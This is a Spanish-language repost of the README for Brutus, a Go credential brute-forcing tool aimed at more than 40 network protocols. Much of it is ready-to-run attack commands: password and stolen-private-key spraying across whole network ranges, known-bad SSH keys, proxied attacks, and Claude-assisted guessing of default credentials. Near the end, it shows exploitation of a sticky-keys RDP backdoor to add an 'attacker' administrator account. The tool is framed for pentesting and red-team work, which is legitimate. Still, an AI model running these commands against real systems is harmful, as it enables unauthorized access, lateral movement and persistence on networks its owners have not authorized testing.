Herramienta rápida de prueba de credenciales sin dependencias en Go. Fuerza bruta SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB y más de 20 protocolos. Alternativa a Hydra con integración nativa del pipeline nerva/naabu.
<img width="2752" height="1536" alt="Brutus - Social" src="https://assets.kitploit.com/production/public/readmes/11715/32309a4ca6e7282c8dcd718e2b275a392b73a81f51cbd5d1738464eb3933fd22.png" />
<h1 align="center">Brutus</h1>
<p align="center">
<em>"Et tu, Brute?" — Las últimas palabras antes de que caigan las credenciales.</em>
</p>
<p align="center">
<strong>Herramienta moderna de prueba de credenciales en Go puro</strong>
</p>
<p align="center">
<a href="#installation">Instalación</a> •
<a href="#quick-start">Inicio rápido</a> •
<a href="#pipeline-integration">Pipeline</a> •
<a href="#supported-protocols">Protocolos</a> •
<a href="#account-enumeration">Enumeración</a> •
<a href="#socks5-proxy-support">Proxy</a> •
<a href="#library-integration">Librería</a>
</p>
---
## Descripción general
Brutus es una herramienta de prueba de autenticación multiprotocolo diseñada para abordar una brecha crítica en las herramientas de seguridad ofensiva: la validación eficiente de credenciales en diversos servicios de red. Mientras que las herramientas centradas en HTTP son abundantes, los pentesters y operadores de red team se encuentran con frecuencia con bases de datos, SSH, SMB y otros servicios de red que requieren capacidades de prueba de autenticación específicas.
Construido en Go como un único binario sin dependencias externas, Brutus se integra perfectamente con [Nerva](https://github.com/praetorian-inc/nerva) para el descubrimiento automatizado de servicios, permitiendo a los operadores identificar y probar rápidamente vectores de autenticación en rangos de red completos.
**Características clave:**
- **Cero dependencias:** Binario único, multiplataforma (Linux, Windows, macOS)
- **43 protocolos:** SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth, MQTT y más
- **Soporte de proxy SOCKS5:** Enruta todo el tráfico a través de un proxy SOCKS5 con `--proxy`
- **Modos de agresividad:** `--mode cautious|default|aggressive` para ajustar la cobertura frente a la seguridad
- **Integración con pipelines:** Soporte nativo para flujos de trabajo de Nerva, naabu, nmap y masscan
- **Claves malas embebidas:** Colección integrada de claves SSH conocidas (Vagrant, F5, ExaGrid, etc.)
- **Enumeración de cuentas:** enumeración de oráculo de existencia de cuentas, enumeración de usuarios Kerberos, generación de correos electrónicos, autenticación por código de dispositivo de Microsoft Teams/Entra ID
- **Librería Go:** Impórtala directamente en tus herramientas de automatización de seguridad
- **Listo para producción:** Limitación de velocidad, agrupación de conexiones y manejo integral de errores
---
## ¿Por qué Brutus?
Herramientas tradicionales como **THC Hydra** han servido bien a la comunidad de seguridad, pero conllevan una fricción significativa: cadenas de dependencias complejas, problemas de compilación específicos de cada plataforma y ninguna integración nativa con flujos de trabajo de reconocimiento modernos.
**Brutus** está diseñado específicamente para la seguridad ofensiva moderna:
- **Despliegue con cero dependencias reales:** Descarga un único binario y ejecútalo. Sin `libssh-dev`, sin `libmysqlclient-dev`, sin errores de compilación. Funciona de forma idéntica en Linux, macOS y Windows.
- **Integración nativa con pipelines:** Brutus habla JSON y se integra directamente con [Nerva](https://github.com/praetorian-inc/nerva), [naabu](https://github.com/projectdiscovery/naabu), [nmap](https://nmap.org) y [masscan](https://github.com/robertdavidgraham/masscan). Canaliza los servicios descubiertos directamente hacia la prueba de credenciales sin conversión de formato ni scripting.
- **Inteligencia embebida:** Las claves SSH malas conocidas (Vagrant, F5 BIG-IP, ExaGrid, etc.) están compiladas dentro del binario. Usa `brutus badkeys` para probarlas contra objetivos SSH.
- **Diseño centrado en la librería:** Importa Brutus directamente en tus herramientas de seguridad Go. Construye automatizaciones personalizadas sin recurrir a procesos externos.
```bash
# Full network credential audit in one pipeline (JSON mode)
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
# Or use Nerva's default URI output — no --json flags needed
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
```
## Casos de uso
### Pruebas de penetración
- Validar credenciales descubiertas en múltiples servicios durante evaluaciones internas
- Probar patrones de reutilización de contraseñas en servicios de bases de datos y recursos compartidos de archivos
- Identificar credenciales predeterminadas en infraestructura recién desplegada
### Operaciones de Red Team
- Validación rápida de credenciales tras volcados de contraseñas o campañas de phishing
- Probar oportunidades de movimiento lateral en servicios de red
- Validar credenciales comprometidas en entornos heterogéneos
### Pulverización de claves privadas
¿Encontraste una clave privada en un sistema comprometido? Pulverízala por la red para encontrar dónde más otorga acceso:
```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
```
Este pipeline descubre todos los servicios SSH, los identifica con Nerva y prueba la clave comprometida contra nombres de usuario comunes, revelando oportunidades de movimiento lateral en segundos.
### Pruebas en paneles de administración web
Descubre servicios HTTP y prueba credenciales usando detección impulsada por IA o listas de credenciales manuales:
```bash
# AI-powered: auto-detect devices and suggest default credentials
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent | \
nerva --json | \
brutus web --experimental-ai --json
# Manual: test specific credentials against web panels
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web -c "admin:admin,root:password" --json
# Default wordlist: test common credentials without AI or -c
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --json
```
### Validación de seguridad
- Probar credenciales predeterminadas en servicios recién desplegados
- Validar la aplicación de políticas de contraseñas en todas las plataformas
- Generar registros de auditoría para evaluaciones de cumplimiento y seguridad
---
## Instalación
### Binarios precompilados (recomendado)
Descárgalos desde [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):
```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
```
```powershell
# Windows (PowerShell)
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip
Expand-Archive -Path brutus.zip -DestinationPath .
Remove-Item brutus.zip
```
### Instalación con Go
```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
```
---
## Inicio rápido
### Subcomandos
<!-- BEGIN generated: cli-subcommands -->
Brutus organiza su funcionalidad en estos subcomandos específicos:
```bash
brutus badkeys # Test known weak/compromised SSH keys against targets
brutus creds # Test default credentials on non-HTTP services (SSH, databases, SMB, etc.)
brutus enum # Enumerate accounts against account-existence oracles or Active Directory
brutus logon # Detect Windows logon-screen backdoors (runs both sticky keys and utilman)
brutus snmp # Test SNMP community strings against targets
brutus stickykeys # Detect the Windows sticky-keys (sethc.exe) logon backdoor only
brutus template # Run product-specific default-credential templates
brutus utilman # Detect the Windows utilman (Ease of Access) logon backdoor only
brutus web # Audit HTTP/web panel credentials (AI-powered or credential list)
```
<!-- END generated: cli-subcommands -->
<!-- BEGIN generated: cli-aliases -->
Algunos subcomandos incluyen alias para facilitar su descubrimiento:
| Subcomando | Alias |
| --- | --- |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `creds` | `services`, `defaults`, `credentials` |
| `snmp` | `community` |
| `web` | `http`, `panels` |
La referencia completa — cada subcomando, alias y flag, incluidos los que están ocultos en `--help` — se genera en [docs/CLI.md](https://github.com/praetorian-inc/brutus/blob/main/docs/CLI.md).
<!-- END generated: cli-aliases -->
```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
### Uso básico
```bash
# Test SSH with default credentials
brutus creds --target 192.168.1.100:22 --protocol ssh
# Test with specific credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test with username and password lists
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
# Test MySQL database
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
# Test SSH with a specific private key
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
# Increase threads for faster testing
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
# JSON output for scripting
brutus creds --target 192.168.1.100:22 --protocol ssh --json
```
### Ejemplo de salida
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
```
Con modo detallado (`-v`):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
```
Salida JSON para la integración de la pipeline (solo muestra las credenciales exitosas):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
```
---
## Integración de Pipeline
Brutus se integra perfectamente con **[Nerva](https://github.com/praetorian-inc/nerva)** y **[naabu](https://github.com/projectdiscovery/naabu)** para un reconocimiento de red completo.
### Escenarios del Mundo Real
#### Escenario 1: Escaneo de una Red Corporativa /24
```bash
# Discover all open ports, identify services, test default credentials
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva --json | \
brutus creds --json -o results.json
# Same pipeline using Nerva's default URI output (no --json needed)
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva | brutus creds -o results.json
# Review findings (all output is successful credentials)
cat results.json | jq '.'
```
#### Escenario 2: Reconocimiento de Bug Bounty en un Dominio Objetivo
```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
```
#### Escenario 3: Caza de bases de datos en una evaluación interna
```bash
# Find and test all databases in a range
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent | \
nerva --json | \
brutus creds -t 5 --json | \
tee database-findings.json
# Extract credentials in readable format
jq -r '"\(.target) \(.username):\(.password)"' database-findings.json
```
#### Escenario 4: Prueba de claves SSH en toda la infraestructura
```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
```
#### Escenario 5: Pruebas dirigidas de servicios
```bash
# Test only Redis instances found in the network
naabu -host 172.16.0.0/12 -p 6379 -silent | \
nerva --json | \
brutus creds
# Test only MongoDB with custom credentials
naabu -host 10.0.0.0/24 -p 27017 -silent | \
nerva --json | \
brutus creds -u admin,root,mongodb -p admin,password,mongodb
```
### Importación de herramientas de escaneo (Nmap y Masscan)
Brutus puede importar objetivos directamente desde archivos de salida de escaneo de **nmap** y **masscan**, eliminando la necesidad de conversión de formato o herramientas intermedias.
#### Importación de XML de Nmap (`--nmap-file`)
Importa objetivos desde la salida XML de nmap (`-oX`). Nmap proporciona fingerprinting de servicios, por lo que Brutus mapea automáticamente los servicios detectados al protocolo correcto:
```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
```
Los nombres de servicios de Nmap se asignan automáticamente a los protocolos de Brutus (por ejemplo, `ms-wbt-server` → `rdp`, `microsoft-ds` → `smb`). TLS se detecta a partir del atributo `tunnel="ssl"` de nmap. Solo se importan los puertos abiertos en hosts activos.
#### Importación de JSON de Masscan (`--masscan-file`)
Importa objetivos desde la salida JSON de masscan (`-oJ`). Dado que masscan es solo un escáner de puertos (sin fingerprinting de servicios), debes especificar `--protocol` o dejar que Brutus realice el fingerprinting automático con Nerva:
```bash
# Run a masscan port scan
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
# Test all discovered ports as SSH (when you know what's running)
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
# Auto-fingerprint with Nerva (when services are unknown)
brutus creds --masscan-file scan.json -P passwords.txt
```
#### Combinación con otros flujos de trabajo
Los flags `--nmap-file` y `--masscan-file` funcionan con todos los subcomandos y son mutuamente excluyentes con `--target`, `--targets-file` y stdin:
```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
```
### Formato de Entrada del Pipeline
Brutus acepta múltiples formatos de entrada desde stdin:
**Nerva JSON** (`nerva --json`):
```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
```
**Nerva URI** (salida predeterminada de Nerva, no se necesita `--json`):
```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
```
**Objetivos sin procesar** (con huella digital automática mediante Nerva):
```bash
echo "192.168.1.100:22" | brutus creds
```
Brutus automáticamente:
- Analiza formatos de objetivos JSON, esquema URI y simples
- Asigna servicios a protocolos
- Prueba credenciales predeterminadas apropiadas
- Genera resultados en formato JSON correspondiente
### Formato de salida del pipeline
Brutus genera únicamente credenciales exitosas en formato JSONL (un objeto JSON por línea):
```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
```
**Nota:** Los intentos de autenticación fallidos no se incluyen en la salida JSON. El campo `key` aparece (como `true`) cuando la autenticación utilizó una clave SSH en lugar de una contraseña. El campo `llm_suggested` aparece (como `true`) cuando las credenciales fueron sugeridas por el sistema de IA (`--experimental-ai`).
---
## Comparación
| Característica | Hydra | Medusa | Ncrack | **Brutus** |
|---------|:-----:|:------:|:------:|:----------:|
| Binario único | ❌ | ❌ | ❌ | ✅ |
| Cero dependencias | ❌ | ❌ | ❌ | ✅ |
| Proxy SOCKS5 | ✅ | ❌ | ❌ | ✅ |
| Pipeline Nerva | ❌ | ❌ | ❌ | ✅ |
| Importación Nmap/Masscan | ❌ | ❌ | ❌ | ✅ |
| Streaming JSON | ⚠️ | ❌ | ❌ | ✅ |
| Multiplataforma | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Errores consistentes | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Desarrollo activo | ✅ | ⚠️ | ❌ | ✅ |
| Claves malas embebidas | ❌ | ❌ | ❌ | ✅ |
| Importación como librería Go | ❌ | ❌ | ❌ | ✅ |
---
## Protocolos compatibles
Brutus es compatible con **43 protocolos**:
### Servicios de red
| Protocolo | Puerto | Métodos de autenticación | Caso de uso |
|----------|------|--------------|----------|
| SSH | 22 | Contraseña, claves privadas | Servidores, equipos de red |
| FTP | 21 | Contraseña | Servidores de archivos, dispositivos NAS |
| rsync | 873 | Secretos de módulo, anónimo | Sincronización de archivos |
| Telnet | 23 | Contraseña | Sistemas heredados, dispositivos IoT |
| VNC | 5900 | Contraseña | Escritorios remotos |
| RDP | 3389 | NLA/CredSSP, contraseña | Servidores Windows, estaciones de trabajo |
| SNMP | 161 | Cadena de comunidad | Dispositivos de red, impresoras |
| IPMI | 623/udp | RMCP | BMC / lights-out |
| OPC UA | 4840 | Token de usuario, anónimo | ICS/SCADA |
### Servicios web
| Protocolo | Puerto | Métodos de autenticación | Caso de uso |
|----------|------|--------------|----------|
| HTTP | 80 | Autenticación básica | Paneles de administración (Grafana, Jenkins, etc.) |
| HTTPS | 443 | Autenticación básica | Paneles de administración seguros |
| Navegador | 80/443 | Formulario | Inicio de sesión de Microsoft/Entra basado en navegador |
### Infraestructura empresarial
| Protocolo | Puerto | Métodos de autenticación | Caso de uso |
|----------|------|--------------|----------|
| SMB | 445 | Contraseña, NTLM | Redes Windows, recursos compartidos |
| LDAP | 389/636 | Bind DN | Active Directory, identidad |
| WinRM | 5985/5986 | NTLM | Administración remota de Windows |
### Bases de datos
| Protocolo | Puerto | Métodos de autenticación | Caso de uso |
|----------|------|--------------|----------|
| MySQL | 3306 | Contraseña | Aplicaciones web |
| PostgreSQL | 5432 | Contraseña | Aplicaciones modernas |
| MSSQL | 1433 | Contraseña | Aplicaciones empresariales |
| MongoDB | 27017 | Contraseña | Backends NoSQL |
| Redis | 6379 | Contraseña | Caché, sesiones |
| Memcached | 11211 | SASL, anónimo | Caché |
| Neo4j | 7687 | Contraseña | Bases de datos de grafos |
| Cassandra | 9042 | Contraseña | Bases de datos distribuidas |
| CouchDB | 5984 | HTTP Basic | Almacenes de documentos |
| Elasticsearch | 9200 | HTTP Basic | Motores de búsqueda |
| InfluxDB | 8086 | HTTP Basic | Datos de series temporales |
| Oracle | 1521 | Contraseña | Bases de datos empresariales |
| DB2 | 50000 | Contraseña | Bases de datos empresariales |
| Firebird | 3050 | Contraseña | Bases de datos embebidas |
### Contenedores y orquestación
| Protocolo | Puerto | Métodos de autenticación | Caso de uso |
|----------|------|--------------|----------|
| Docker | 2375/2376 | Sin autenticación | Daemons Docker expuestos |
| Kubernetes | 6443/10250 | Sin autenticación | API/kubelet de K8s expuestos |
### Comunicaciones
| Protocolo | Puerto | Métodos de autenticación | Caso de uso |
|----------|------|--------------|----------|
| SMTP | 25/587 | Contraseña | Retransmisión de correo |
| IMAP | 143/993 | Contraseña | Acceso a buzones |
| POP3 | 110/995 | Contraseña | Acceso a buzones |
| ActiveMQ | 61616 | Contraseña | Brokers OpenWire |
| SIP | 5060/5061 | Digest | VoIP |
| TURN | 3478 | Contraseña | Retransmisión TURN |
| ZooKeeper | 2181 | Digest, anónimo | Coordinación |
| NATS | 4222 | Contraseña, anónimo | Mensajería |
| XMPP | 5222 | SASL PLAIN | Chat |
| MQTT | 1883/8883 | Contraseña, anónimo | Brokers IoT |
| AMQP | 5672/5671 | SASL PLAIN | RabbitMQ |
| Kafka | 9092 | SASL/PLAIN | Brokers |
| SOCKS5 | 1080 | Autenticación de proxy SOCKS5 | Proxies |
---
## Claves SSH malas embebidas
Despliegue en un único binario sin necesidad de archivos de claves externos. Cada clave está emparejada con su nombre de usuario predeterminado para un mapeo inteligente de credenciales, y el seguimiento de CVE permite consultas de cumplimiento.
Brutus incluye las colecciones de claves **[rapid7/ssh-badkeys](https://github.com/rapid7/ssh-badkeys)** y **[Vagrant](https://github.com/hashicorp/vagrant)** embebidas en el binario:
```bash
# Test bad keys against a single target
brutus badkeys --target 192.168.1.100:22
# Pipeline mode: scan a range for compromised SSH keys
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
# Test credentials (bad keys are NOT included in creds mode)
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
```
### Recolección de claves embebidas
| Producto | CVE | Usuario predeterminado | Descripción |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | Clave insegura de HashiCorp Vagrant |
| F5 BIG-IP | CVE-2012-1493 | root | Clave de host SSH estática |
| ExaGrid | CVE-2016-1561 | root | Puerta trasera del dispositivo de respaldo |
| Monroe DASDEC | CVE-2013-0137 | root | Sistemas de alerta de emergencia |
| Barracuda | CVE-2014-8428 | cluster | VM del balanceador de carga |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Backhaul inalámbrico |
| Array Networks | - | sync | Dispositivos vAPV/vxAG |
| Quantum DXi | - | root | Dispositivos de deduplicación |
| Loadbalancer.org | - | root | Balanceadores de carga empresariales |
---
## Modos de agresividad
El flag global `--mode` (`-m`) controla la agresividad en todos los subcomandos. Establece presets de ajuste de rendimiento que equilibran la cobertura frente a la seguridad:
| Modo | Hilos | Tiempo de espera | Límite de tasa | Jitter | Reintentos | Caso de uso |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Entornos de producción, evitar bloqueos |
| `default` | 10 | 10s | Ilimitado | Ninguno | 2 | Pruebas estándar |
| `aggressive` | 20 | 10s | Ilimitado | Ninguno | 3 | Entornos de laboratorio/CTF, cobertura máxima |
Los presets de modo se aplican primero, luego cualquier flag explícito de CLI los sobrescribe:
```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
```
Para SNMP, el modo también controla la profundidad de la wordlist integrada (consulta [SNMP Community String Testing](#snmp-community-string-testing)).
---
## Soporte de proxy SOCKS5
El flag `--proxy` enruta todas las conexiones a través de un proxy SOCKS5. Esto funciona en todos los protocolos y subcomandos:
```bash
# Route SSH testing through a SOCKS5 proxy
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
# Proxy with authentication
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
# DNS resolution on the proxy side (socks5h)
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
# Combine with pipeline input
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
# Works with all subcommands
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080
brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
```
Esquemas soportados:
- `socks5://` — Proxy SOCKS5 estándar (resolución DNS del lado del cliente)
- `socks5h://` — SOCKS5 con resolución DNS remota (útil cuando se apunta a nombres de host internos)
---
## Pruebas de cadenas de comunidad SNMP
El subcomando `snmp` proporciona pruebas dedicadas de cadenas de comunidad SNMP v1/v2c con listas de palabras por niveles controladas por el flag global `--mode`:
| Modo | Cadenas | Cobertura |
|------|---------|----------|
| `cautious` | ~25 | Cadenas comunes (public, private, community, etc.) |
| `default` | ~25 | Igual que cautious |
| `aggressive` | 200+ | Exhaustiva (específicas de proveedor, SCADA, cámaras IP, almacenamiento, etc.) |
```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
---
## Integración de la biblioteca
Para los desarrolladores que crean herramientas de automatización de seguridad, Brutus también se puede importar como una biblioteca de Go:
```bash
go get github.com/praetorian-inc/brutus
```
```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
```
---
## Experimental: Detección de credenciales impulsada por IA
> **⚠️ Característica experimental:** Las funciones de IA requieren claves de API externas y están en desarrollo activo.
### El flag `--experimental-ai`
El flag `--experimental-ai` habilita la detección automática de credenciales para servicios HTTP:
```bash
# Set up API keys
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification
export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
# AI-powered credential testing against HTTP services
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --experimental-ai
```
**Cómo funciona:**
1. **Detección** — Brutus sondea los objetivos HTTP para detectar el tipo de autenticación (Basic Auth vs basada en formulario)
2. **Identificación del dispositivo** — Claude Vision analiza capturas de pantalla para identificar el dispositivo/aplicación
3. **Sugerencias de credenciales** — Claude sugiere credenciales predeterminadas a partir de sus datos de entrenamiento
4. **Búsqueda web opcional** — Perplexity (si está configurado) busca credenciales adicionales en línea
5. **Pruebas** — Prueba las credenciales descubiertas contra el objetivo
**Para objetivos con HTTP Basic Auth:**
- Sondea `/` para capturar las cabeceras HTTP
- Identifica el dispositivo a partir de la cabecera Server, el realm de WWW-Authenticate, etc.
- Claude sugiere credenciales predeterminadas probables
- Prueba pares de credenciales automáticamente
**Para objetivos con autenticación HTTP basada en formulario:**
- Usa Chrome sin interfaz gráfica para renderizar y capturar la página
- Claude Vision identifica el formulario de inicio de sesión, el tipo de dispositivo y sugiere credenciales
- Perplexity (opcional) busca credenciales predeterminadas adicionales
- La automatización del navegador rellena y envía el formulario
**Requisitos:**
- `ANTHROPIC_API_KEY` — **Obligatoria** para Claude Vision (identificación del dispositivo + sugerencias de credenciales)
- `PERPLEXITY_API_KEY` — *Opcional* para investigación adicional mediante búsqueda web
- Chrome/Chromium instalado (solo para autenticación basada en formulario)
**Los protocolos no HTTP (SSH, MySQL, etc.) no se ven afectados por `--experimental-ai`** — siguen usando las pruebas de credenciales estándar.
---
## RDP: Detección y explotación del backdoor de teclas pegajosas
Brutus incluye detección automática del **backdoor de teclas pegajosas** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) en objetivos RDP. Esta comprobación previa a la autenticación se ejecuta en objetivos RDP sin NLA — no se requieren credenciales.
**Cómo funciona:**
1. Se conecta al objetivo RDP y negocia una sesión sin NLA
2. Captura el mapa de bits de la pantalla de inicio de sesión como línea base
3. Envía 5 veces la tecla Shift (el desencadenante de las teclas pegajosas)
4. Captura el mapa de bits de la respuesta
5. El análisis heurístico detecta si apareció una ventana de terminal (cmd.exe, PowerShell, etc.)
6. Opcionalmente confirma mediante la API de Claude Vision (cuando `ANTHROPIC_API_KEY` está configurada)
```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
```
**Modo de solo detección:** El subcomando `logon` ejecuta la detección de backdoors de sticky keys y utilman sin fuerza bruta:
```bash
# Detection only (no brute force)
brutus logon --target 10.0.0.50:3389
```
**Salida de detección:**
```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
```
### Ejecución de comandos a través de backdoor (`--exec`)
Una vez detectado un backdoor, ejecuta un comando en el sistema remoto a través del prompt de comandos pre-auth:
```bash
# Execute a single command via the backdoor
brutus logon --target 10.0.0.50:3389 --exec "whoami"
# Add a local admin account
brutus logon --target 10.0.0.50:3389 \
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
```
Esto se conecta, activa el backdoor, escribe el comando, presiona Enter, espera la salida y guarda una captura de pantalla PNG del resultado.
### Terminal Web Interactiva (`--web`)
---
[Read more](https://github.com/praetorian-inc/brutus)